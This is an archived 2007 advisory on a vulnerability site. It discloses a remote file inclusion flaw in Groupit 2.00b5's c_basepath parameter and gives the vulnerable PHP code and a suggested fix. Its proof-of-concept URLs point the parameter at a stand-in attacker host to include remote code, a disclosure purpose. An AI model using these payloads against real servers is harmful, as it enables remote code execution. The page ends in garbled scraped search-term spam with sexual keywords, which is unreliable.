about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Groupit 2.00b5 (c_basepath) Remote File Inclusion Vulnerability



2007-03-15 Groupit 2.00b5 (c_basepath) Remote File Inclusion Vulnerability
Rated as : Moderate Risk

-------------------------------------------------------------------------------------
[ECHO_ADV_75$2007] Groupit 2.00b5 (c_basepath) Remote File Inclusion
Vulnerability
--------------------------------------
----------------------------------------------

Author          : Dedi Dwianto a.k.a the_day
Date Found      : March, 15th 2007
Location        : Indonesia, Jakarta
web             : http://advisories.echo.or.id/adv/adv75-theday-2007.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~

Application     : Groupit
version         : 2.00b5
URL             :
http://fresh.t-systems-sfr.com/fresh/unix/src/privat2/groupit-2.00b5.tar.gz

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~

- Invalid include function at html/content.php
-----------------------html/content.php------------

<?
...
include "$c_basepath/base/groupit.start.inc";

if (!empty($c_is_search))
{
  include "$c_basepath/modules/search/main.inc";
} else
{
  if ($c_is_section)
  {
     include  "$c_basepath/modules/content/section.inc";
  } else
  .........

include "$c_basepath/base/groupit.stop.inc";
?>
----------------------------------------------------------

Input passed to the "$c_basepath" parameter in load.inc.php is
not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

also affected files :

html/userprofile.php
html/password.php
html/dispatch.php
html/deliver.php

and More ....



Proof Of Concept:
~~~~~~~~~~~

http://localhost/groupit/html/content.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/userprofile.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/password.php?c_basepath=http://atacker.com/inject.txt?

Solution:
~~~

- Sanitize variable $c_basepath affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~
    EcHo Research & Development Center
    http://advisories.echo.or.id
    erdc[at]echo[dot]or[dot]id
    the_day[at]echo[dot]or[dot]id

-------------------------------- [ EOF
]----------------------------------


securitydot.net - 2007-03-15

Advertising

Copyright 2007, SecurityDot
Fri, 05 Dec 2008 17:51:32 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
t271t girl doing 2.6.10- CMS is Fre girl doing Save free downl sexy girl www.27fl.c ww xxx sex /search/ex Sexgalery. Www.petard modxcms Sexgalery. nude pictu 200 /compo www.vuonon sex free india sexcli t909t www.nudema modxcms mambo Remo rambasex.c Sex+pic+ga xxx pron p...3Fpage java game Adulsex 20+years+g all cartoo ventrillo cojidas.co www.nudema ww.porn.co cs.pl Invision+P Marisa Mil indiansexs Tele Www.Sarah ww.porn.co xxx photoo www.hengbi phpBB port pornohub fake nude /search/ex